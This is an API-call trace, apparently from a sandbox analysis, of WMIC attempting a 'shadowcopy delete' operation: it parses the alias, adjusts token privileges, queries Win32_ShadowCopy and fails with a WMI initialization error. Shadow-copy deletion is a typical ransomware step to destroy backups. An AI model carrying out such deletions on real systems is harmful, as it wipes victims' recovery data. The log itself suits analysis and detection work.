	[0168.941] SafeArrayGetUBound (in: psa=0x4364a0, nDim=0x1, plUbound=0x20f250 | out: plUbound=0x20f250) returned 0x0
	[0168.941] SafeArrayGetElement (in: psa=0x4364a0, rgIndices=0x20f244, pv=0x20f298 | out: pv=0x20f298) returned 0x0
	[0168.941] malloc (_Size=0x18) returned 0xcc8d0
	[0168.941] malloc (_Size=0x18) returned 0xcc930
	[0168.941] SysStringLen (param_1="Shadow copy management.") returned 0x17
	[0168.941] free (_Block=0xcc8d0) 
	[0168.941] IUnknown:Release (This=0x1be0a50) returned 0x0
	[0168.942] free (_Block=0xcc9d0) 
	[0168.942] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0168.942] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.942] free (_Block=0xcc8b0) 
	[0168.942] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.942] lstrlenW (lpString="Shadow copy management.") returned 23
	[0168.942] malloc (_Size=0x30) returned 0xc85c0
	[0168.943] lstrlenW (lpString="Shadow copy management.") returned 23
	[0168.943] free (_Block=0xcc930) 
	[0168.943] IUnknown:Release (This=0x1be04e0) returned 0x0
	[0168.943] free (_Block=0xcc8f0) 
	[0168.943] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0168.943] lstrlenW (lpString="PATH") returned 4
	[0168.943] lstrlenW (lpString="delete") returned 6
	[0168.943] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1
	[0168.943] lstrlenW (lpString="WHERE") returned 5
	[0168.943] lstrlenW (lpString="delete") returned 6
	[0168.943] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1
	[0168.943] lstrlenW (lpString="(") returned 1
	[0168.944] lstrlenW (lpString="delete") returned 6
	[0168.944] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3
	[0168.944] lstrlenW (lpString="/") returned 1
	[0168.944] lstrlenW (lpString="delete") returned 6
	[0168.944] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0168.944] lstrlenW (lpString="-") returned 1
	[0168.944] lstrlenW (lpString="delete") returned 6
	[0168.944] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0168.944] malloc (_Size=0x18) returned 0xcc8f0
	[0168.945] lstrlenW (lpString="GET") returned 3
	[0168.945] lstrlenW (lpString="delete") returned 6
	[0168.945] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0168.945] lstrlenW (lpString="LIST") returned 4
	[0168.945] lstrlenW (lpString="delete") returned 6
	[0168.945] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0168.945] lstrlenW (lpString="SET") returned 3
	[0168.945] lstrlenW (lpString="delete") returned 6
	[0168.945] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0168.945] lstrlenW (lpString="CREATE") returned 6
	[0168.945] lstrlenW (lpString="delete") returned 6
	[0168.945] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0168.945] lstrlenW (lpString="CALL") returned 4
	[0168.946] lstrlenW (lpString="delete") returned 6
	[0168.946] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0168.946] lstrlenW (lpString="ASSOC") returned 5
	[0168.946] lstrlenW (lpString="delete") returned 6
	[0168.946] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0168.946] lstrlenW (lpString="DELETE") returned 6
	[0168.946] lstrlenW (lpString="delete") returned 6
	[0168.946] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0168.946] free (_Block=0xcc8f0) 
	[0168.947] lstrlenW (lpString="/") returned 1
	[0168.947] lstrlenW (lpString="delete") returned 6
	[0168.947] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0168.947] lstrlenW (lpString="-") returned 1
	[0168.947] lstrlenW (lpString="delete") returned 6
	[0168.947] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0168.947] lstrlenW (lpString="delete") returned 6
	[0168.947] malloc (_Size=0xe) returned 0xcc8f0
	[0168.947] lstrlenW (lpString="delete") returned 6
	[0168.947] lstrlenW (lpString="GET") returned 3
	[0168.947] lstrlenW (lpString="delete") returned 6
	[0168.947] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0168.948] lstrlenW (lpString="LIST") returned 4
	[0168.948] lstrlenW (lpString="delete") returned 6
	[0168.948] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0168.948] lstrlenW (lpString="SET") returned 3
	[0168.948] lstrlenW (lpString="delete") returned 6
	[0168.948] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0168.948] lstrlenW (lpString="CREATE") returned 6
	[0168.948] lstrlenW (lpString="delete") returned 6
	[0168.948] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0168.948] lstrlenW (lpString="CALL") returned 4
	[0168.948] lstrlenW (lpString="delete") returned 6
	[0168.948] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0168.949] lstrlenW (lpString="ASSOC") returned 5
	[0168.949] lstrlenW (lpString="delete") returned 6
	[0168.949] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0168.949] lstrlenW (lpString="DELETE") returned 6
	[0168.949] lstrlenW (lpString="delete") returned 6
	[0168.949] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0168.949] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0168.949] malloc (_Size=0x3e) returned 0xccb40
	[0168.949] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0168.949] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select"
	[0168.949] malloc (_Size=0x18) returned 0xcc930
	[0168.950] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*"
	[0168.950] lstrlenW (lpString="FROM") returned 4
	[0168.950] lstrlenW (lpString="*") returned 1
	[0168.950] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0168.950] malloc (_Size=0x18) returned 0xcc8b0
	[0168.950] free (_Block=0xcc930) 
	[0168.950] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54007d00780008 | out: _String=0x0, _Context=0x54007d00780008) returned="from"
	[0168.950] lstrlenW (lpString="FROM") returned 4
	[0168.950] lstrlenW (lpString="from") returned 4
	[0168.950] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0168.950] malloc (_Size=0x18) returned 0xcc930
	[0168.951] free (_Block=0xcc8b0) 
	[0168.951] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54007e00780008 | out: _String=0x0, _Context=0x54007e00780008) returned="Win32_ShadowCopy"
	[0168.951] malloc (_Size=0x18) returned 0xcc8b0
	[0168.951] free (_Block=0xcc930) 
	[0168.951] free (_Block=0xccb40) 
	[0168.951] free (_Block=0xcc8b0) 
	[0168.951] lstrlenW (lpString="SET") returned 3
	[0168.951] lstrlenW (lpString="delete") returned 6
	[0168.951] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0168.951] lstrlenW (lpString="CREATE") returned 6
	[0168.951] lstrlenW (lpString="delete") returned 6
	[0168.951] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0168.952] free (_Block=0xcc7f0) 
	[0168.952] malloc (_Size=0x8) returned 0xccb40
	[0168.952] lstrlenW (lpString="GET") returned 3
	[0168.952] lstrlenW (lpString="delete") returned 6
	[0168.952] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0168.952] lstrlenW (lpString="LIST") returned 4
	[0168.952] lstrlenW (lpString="delete") returned 6
	[0168.952] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0168.952] lstrlenW (lpString="ASSOC") returned 5
	[0168.952] lstrlenW (lpString="delete") returned 6
	[0168.952] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0168.952] WbemLocator:IUnknown:AddRef (This=0x1bc1390) returned 0x3
	[0168.952] free (_Block=0x21dfb0) 
	[0168.952] lstrlenW (lpString="") returned 0
	[0168.952] lstrlenW (lpString="XDUWTFONO") returned 9
	[0168.952] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0168.952] lstrlenW (lpString="XDUWTFONO") returned 9
	[0168.952] malloc (_Size=0x14) returned 0xcc7f0
	[0168.952] lstrlenW (lpString="XDUWTFONO") returned 9
	[0168.953] GetCurrentThreadId () returned 0x7b8
	[0168.953] GetCurrentProcess () returned 0xffffffffffffffff
	[0168.953] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x20f620 | out: TokenHandle=0x20f620*=0x288) returned 1
	[0168.953] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x20f618 | out: TokenInformation=0x0, ReturnLength=0x20f618) returned 0
	[0168.953] malloc (_Size=0x40) returned 0xccb60
	[0168.953] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0xccb60, TokenInformationLength=0x40, ReturnLength=0x20f618 | out: TokenInformation=0xccb60, ReturnLength=0x20f618) returned 1
	[0168.953] AdjustTokenPrivileges (in: TokenHandle=0x288, DisableAllPrivileges=0, NewState=0xccb60*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=618352444, Attributes=0x1223))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0168.953] free (_Block=0xccb60) 
	[0168.953] CloseHandle (hObject=0x288) returned 1
	[0168.954] lstrlenW (lpString="GET") returned 3
	[0168.954] lstrlenW (lpString="delete") returned 6
	[0168.954] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0168.954] lstrlenW (lpString="LIST") returned 4
	[0168.954] lstrlenW (lpString="delete") returned 6
	[0168.954] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0168.954] lstrlenW (lpString="SET") returned 3
	[0168.954] lstrlenW (lpString="delete") returned 6
	[0168.954] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0168.954] lstrlenW (lpString="CALL") returned 4
	[0168.954] lstrlenW (lpString="delete") returned 6
	[0168.954] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0168.954] lstrlenW (lpString="ASSOC") returned 5
	[0168.954] lstrlenW (lpString="delete") returned 6
	[0168.955] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0168.955] lstrlenW (lpString="CREATE") returned 6
	[0168.955] lstrlenW (lpString="delete") returned 6
	[0168.955] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0168.955] lstrlenW (lpString="DELETE") returned 6
	[0168.955] lstrlenW (lpString="delete") returned 6
	[0168.955] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0169.249] malloc (_Size=0x18) returned 0xcc8b0
	[0169.249] lstrlenA (lpString="") returned 0
	[0169.249] malloc (_Size=0x2) returned 0x21dfb0
	[0169.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffad314c, cbMultiByte=-1, lpWideCharStr=0x21dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0169.249] free (_Block=0x21dfb0) 
	[0169.249] malloc (_Size=0x18) returned 0xcc930
	[0169.249] lstrlenA (lpString="") returned 0
	[0169.249] malloc (_Size=0x2) returned 0x21dfb0
	[0169.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffad314c, cbMultiByte=-1, lpWideCharStr=0x21dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0169.250] free (_Block=0x21dfb0) 
	[0169.250] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0169.250] malloc (_Size=0x3e) returned 0xccb60
	[0169.250] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0169.250] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select"
	[0169.250] malloc (_Size=0x18) returned 0xcc9d0
	[0169.250] free (_Block=0xcc930) 
	[0169.250] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008200680007 | out: _String=0x0, _Context=0x54008200680007) returned="*"
	[0169.250] lstrlenW (lpString="FROM") returned 4
	[0169.250] lstrlenW (lpString="*") returned 1
	[0169.250] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0169.251] malloc (_Size=0x18) returned 0xcc930
	[0169.251] free (_Block=0xcc9d0) 
	[0169.251] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008300680007 | out: _String=0x0, _Context=0x54008300680007) returned="from"
	[0169.251] lstrlenW (lpString="FROM") returned 4
	[0169.251] lstrlenW (lpString="from") returned 4
	[0169.251] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0169.251] malloc (_Size=0x18) returned 0xcc9d0
	[0169.251] free (_Block=0xcc930) 
	[0169.251] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008400680007 | out: _String=0x0, _Context=0x54008400680007) returned="Win32_ShadowCopy"
	[0169.252] malloc (_Size=0x18) returned 0xcc930
	[0169.252] free (_Block=0xcc9d0) 
	[0169.252] free (_Block=0xccb60) 
	[0169.252] malloc (_Size=0x18) returned 0xcc9d0
	[0169.252] malloc (_Size=0x18) returned 0xcc8d0
	[0169.252] SysStringLen (param_1="SELECT * FROM ") returned 0xe
	[0169.252] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10
	[0169.252] free (_Block=0xcc8b0) 
	[0169.253] free (_Block=0xcc9d0) 
	[0169.253] ??0CHString@@QEAA@XZ () returned 0x20f590
	[0169.253] GetCurrentThreadId () returned 0x7b8
	[0169.253] malloc (_Size=0x18) returned 0xcc9d0
	[0169.253] malloc (_Size=0x18) returned 0xcc8b0
	[0169.253] malloc (_Size=0x18) returned 0xcc950
	[0169.253] malloc (_Size=0x18) returned 0xcc970
	[0169.253] malloc (_Size=0x18) returned 0xcc990
	[0169.253] SysStringLen (param_1="\\\\") returned 0x2
	[0169.254] SysStringLen (param_1="XDUWTFONO") returned 0x9
	[0169.254] malloc (_Size=0x18) returned 0xcc9b0
	[0169.254] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb
	[0169.254] SysStringLen (param_1="\\") returned 0x1
	[0169.254] malloc (_Size=0x18) returned 0xcc9f0
	[0169.254] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc
	[0169.254] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa
	[0169.255] free (_Block=0xcc9b0) 
	[0169.255] free (_Block=0xcc990) 
	[0169.255] free (_Block=0xcc970) 
	[0169.255] free (_Block=0xcc950) 
	[0169.255] free (_Block=0xcc8b0) 
	[0169.256] free (_Block=0xcc9d0) 
	[0169.256] malloc (_Size=0x18) returned 0xcc9d0
	[0169.256] malloc (_Size=0x18) returned 0xcc8b0
	[0169.256] malloc (_Size=0x18) returned 0xcc950
	[0169.256] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc1390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffb429d0 | out: ppNamespace=0xffb429d0*=0x1bd3c18) returned 0x0
	[0169.473] free (_Block=0xcc950) 
	[0169.473] free (_Block=0xcc8b0) 
	[0169.473] free (_Block=0xcc9d0) 
	[0169.474] CoSetProxyBlanket (pProxy=0x1bd3c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0169.474] free (_Block=0xcc9f0) 
	[0169.474] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0169.474] ??0CHString@@QEAA@XZ () returned 0x20f4e0
	[0169.475] GetCurrentThreadId () returned 0x7b8
	[0169.475] malloc (_Size=0x18) returned 0xcc9f0
	[0169.475] lstrlenA (lpString="") returned 0
	[0169.475] malloc (_Size=0x2) returned 0x21dfb0
	[0169.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffad314c, cbMultiByte=-1, lpWideCharStr=0x21dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0169.475] free (_Block=0x21dfb0) 
	[0169.475] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e
	[0169.475] SysStringLen (param_1="") returned 0x0
	[0169.475] free (_Block=0xcc9f0) 
	[0169.475] malloc (_Size=0x18) returned 0xcc9f0
	[0169.476] IWbemServices:ExecQuery (in: This=0x1bd3c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x20f4e8 | out: ppEnum=0x20f4e8*=0x0) returned 0x80041014
	[0172.685] free (_Block=0xcc9f0) 
	[0172.686] _CxxThrowException () 
	[0172.689] malloc (_Size=0x20) returned 0xccb60
	[0172.689] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0172.689] free (_Block=0xcc930) 
	[0172.689] free (_Block=0xcc8d0) 
	[0172.690] GetCurrentThreadId () returned 0x7b8
	[0172.690] ??0CHString@@QEAA@PEBG@Z () returned 0x20f6c8
	[0172.690] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x20f6c8
	[0172.690] ??0CHString@@QEAA@XZ () returned 0x20f460
	[0172.690] malloc (_Size=0x18) returned 0xcc8d0
	[0172.690] malloc (_Size=0x18) returned 0xcc930
	[0172.690] SysStringLen (param_1="") returned 0x0
	[0172.691] free (_Block=0xcc8d0) 
	[0172.691] CoCreateInstance (in: rclsid=0xffad73c0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffad7390*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xffb429f8 | out: ppv=0xffb429f8*=0x1bc1450) returned 0x0
	[0172.704] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1bc1450, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x20f458 | out: MessageText=0x20f458*="Initialization failure\r\n") returned 0x0
	[0172.705] free (_Block=0xcc930) 
	[0172.705] malloc (_Size=0x18) returned 0xcc930
	[0172.705] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1bc1450, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x20f450 | out: MessageText=0x20f450*="WMI") returned 0x0
	[0172.708] malloc (_Size=0x18) returned 0xcc8d0
	[0172.708] lstrlenW (lpString="WMI") returned 3
	[0172.708] lstrlenW (lpString="Wbem") returned 4
	[0172.708] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1
	[0172.708] lstrlenW (lpString="WMI") returned 3
	[0172.708] lstrlenW (lpString="WMI") returned 3
	[0172.708] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2
	[0172.709] WbemStatusCodeText:IUnknown:Release (This=0x1bc1450) returned 0x0
	[0172.709] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0172.709] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x20ecc0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18
	[0172.709] FormatMessageW (in: dwFlags=0x2500, lpSource=0x20ecc0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x20ec90, nSize=0x0, Arguments=0x20ec98 | out: lpBuffer="ꡀA") returned 0x2e
	[0172.709] malloc (_Size=0x18) returned 0xcc9f0
	[0172.709] LocalFree (hMem=0x41a840) returned 0x0
	[0172.710] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47
	[0172.710] malloc (_Size=0x2f) returned 0xc8600
	[0172.710] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0xc8600, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47
	[0172.710] fprintf (in: _File=0x7fefe122ae0, _Format="%s" | out: _File=0x7fefe122ae0) returned 46
	[0172.712] fflush (in: _File=0x7fefe122ae0 | out: _File=0x7fefe122ae0) returned 0
	[0172.712] free (_Block=0xc8600) 
	[0172.712] free (_Block=0xcc9f0) 
	[0172.713] free (_Block=0xcc8d0) 
	[0172.713] free (_Block=0xcc930) 
	[0172.713] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0172.713] ??0CHString@@QEAA@PEBG@Z () returned 0x20f6c0
	[0172.713] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x20f6c0
	[0172.713] GetCurrentThreadId () returned 0x7b8
	[0172.713] ??1CHString@@QEAA@XZ () returned 0x65db4c01
	[0172.713] WbemLocator:IUnknown:Release (This=0x1bd3c18) returned 0x0
	[0172.859] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0172.859] free (_Block=0xccb60) 
	[0172.859] _kbhit () returned 0x0
	[0172.863] free (_Block=0xccb40) 
	[0172.863] free (_Block=0xcc7d0) 
	[0172.863] free (_Block=0xcc7b0) 
	[0172.864] free (_Block=0xcc790) 
	[0172.864] free (_Block=0xcc770) 
	[0172.864] free (_Block=0xcca40) 
	[0172.864] free (_Block=0xcc870) 
	[0172.864] free (_Block=0xc85c0) 
	[0172.864] free (_Block=0xcc8f0) 
	[0172.864] free (_Block=0xccaa0) 
	[0172.864] free (_Block=0xcc890) 
	[0172.864] free (_Block=0xcc910) 
	[0172.864] free (_Block=0xccb20) 
	[0172.864] free (_Block=0xc6d00) 
	[0172.864] free (_Block=0xccaf0) 
	[0172.864] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0172.865] free (_Block=0xcca70) 
	[0172.865] free (_Block=0xcc810) 
	[0172.865] free (_Block=0xcc830) 
	[0172.865] free (_Block=0xc7f80) 
	[0172.865] free (_Block=0xc6400) 
	[0172.865] free (_Block=0xc6450) 
	[0172.865] free (_Block=0xcc7f0) 
	[0172.865] free (_Block=0xc6520) 
	[0172.865] free (_Block=0xc6ce0) 
	[0172.865] free (_Block=0xc8040) 
	[0172.866] free (_Block=0xc68c0) 
	[0172.866] free (_Block=0xc8000) 
	[0172.866] free (_Block=0xc6860) 
	[0172.866] free (_Block=0xc6880) 
	[0172.866] free (_Block=0xc6740) 
	[0172.866] free (_Block=0xc6760) 
	[0172.866] free (_Block=0xc66e0) 
	[0172.866] free (_Block=0xc6700) 
	[0172.866] free (_Block=0xc67a0) 
	[0172.867] free (_Block=0xc67c0) 
	[0172.867] free (_Block=0xc6800) 
	[0172.867] free (_Block=0xc6820) 
	[0172.867] free (_Block=0xc6620) 
	[0172.867] free (_Block=0xc6640) 
	[0172.867] free (_Block=0xc65c0) 
	[0172.867] free (_Block=0xc65e0) 
	[0172.867] free (_Block=0xc6680) 
	[0172.867] free (_Block=0xc66a0) 
	[0172.867] free (_Block=0xc6560) 
	[0172.867] free (_Block=0xc6580) 
	[0172.868] free (_Block=0xc64d0) 
	[0172.868] free (_Block=0xc64a0) 
	[0172.868] free (_Block=0xc6da0) 
	[0172.868] WbemLocator:IUnknown:Release (This=0x1bc1390) returned 0x2
	[0172.868] WbemLocator:IUnknown:Release (This=0x1bd3b28) returned 0x0
	[0172.869] WbemLocator:IUnknown:Release (This=0x1bd3a98) returned 0x0
	[0172.870] WbemLocator:IUnknown:Release (This=0x1bc1390) returned 0x1
	[0172.870] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0172.870] WbemLocator:IUnknown:Release (This=0x1bc1390) returned 0x0
	[0172.870] free (_Block=0xcc6f0) 
	[0172.870] free (_Block=0xcc710) 
	[0172.870] free (_Block=0xc8540) 
	[0172.870] free (_Block=0xcc730) 
	[0172.870] free (_Block=0xcc750) 
	[0172.870] free (_Block=0xc8580) 
	[0172.870] free (_Block=0xcc570) 
	[0172.871] free (_Block=0xcc590) 
	[0172.871] free (_Block=0xc83c0) 
	[0172.871] free (_Block=0xcc5b0) 
	[0172.871] free (_Block=0xcc5d0) 
	[0172.871] free (_Block=0xc8400) 
	[0172.871] free (_Block=0xcc4f0) 
	[0172.871] free (_Block=0xcc510) 
	[0172.871] free (_Block=0xc8340) 
	[0172.871] free (_Block=0xcc530) 
	[0172.872] free (_Block=0xcc550) 
	[0172.872] free (_Block=0xc8380) 
	[0172.872] free (_Block=0xcc670) 
	[0172.872] free (_Block=0xcc690) 
	[0172.872] free (_Block=0xc84c0) 
	[0172.872] free (_Block=0xcc6b0) 
	[0172.872] free (_Block=0xcc6d0) 
	[0172.872] free (_Block=0xc8500) 
	[0172.872] free (_Block=0xcc470) 
	[0172.873] free (_Block=0xcc490) 
	[0172.873] free (_Block=0xc82c0) 
	[0172.873] free (_Block=0xcc4b0) 
	[0172.873] free (_Block=0xcc4d0) 
	[0172.873] free (_Block=0xc8300) 
	[0172.873] free (_Block=0xcc5f0) 
	[0172.873] free (_Block=0xcc610) 
	[0172.873] free (_Block=0xc8440) 
	[0172.874] free (_Block=0xcc630) 
	[0172.874] free (_Block=0xcc650) 
	[0172.874] free (_Block=0xc8480) 
	[0172.874] free (_Block=0xcc3b0) 
	[0172.874] free (_Block=0xcc3d0) 
	[0172.874] free (_Block=0xc8200) 
	[0172.874] free (_Block=0xcc270) 
	[0172.874] free (_Block=0xcc290) 
	[0172.874] free (_Block=0xc80c0) 
	[0172.875] free (_Block=0xc6e90) 
	[0172.875] free (_Block=0xc6eb0) 
	[0172.875] free (_Block=0xc8080) 
	[0172.875] free (_Block=0xcc2f0) 
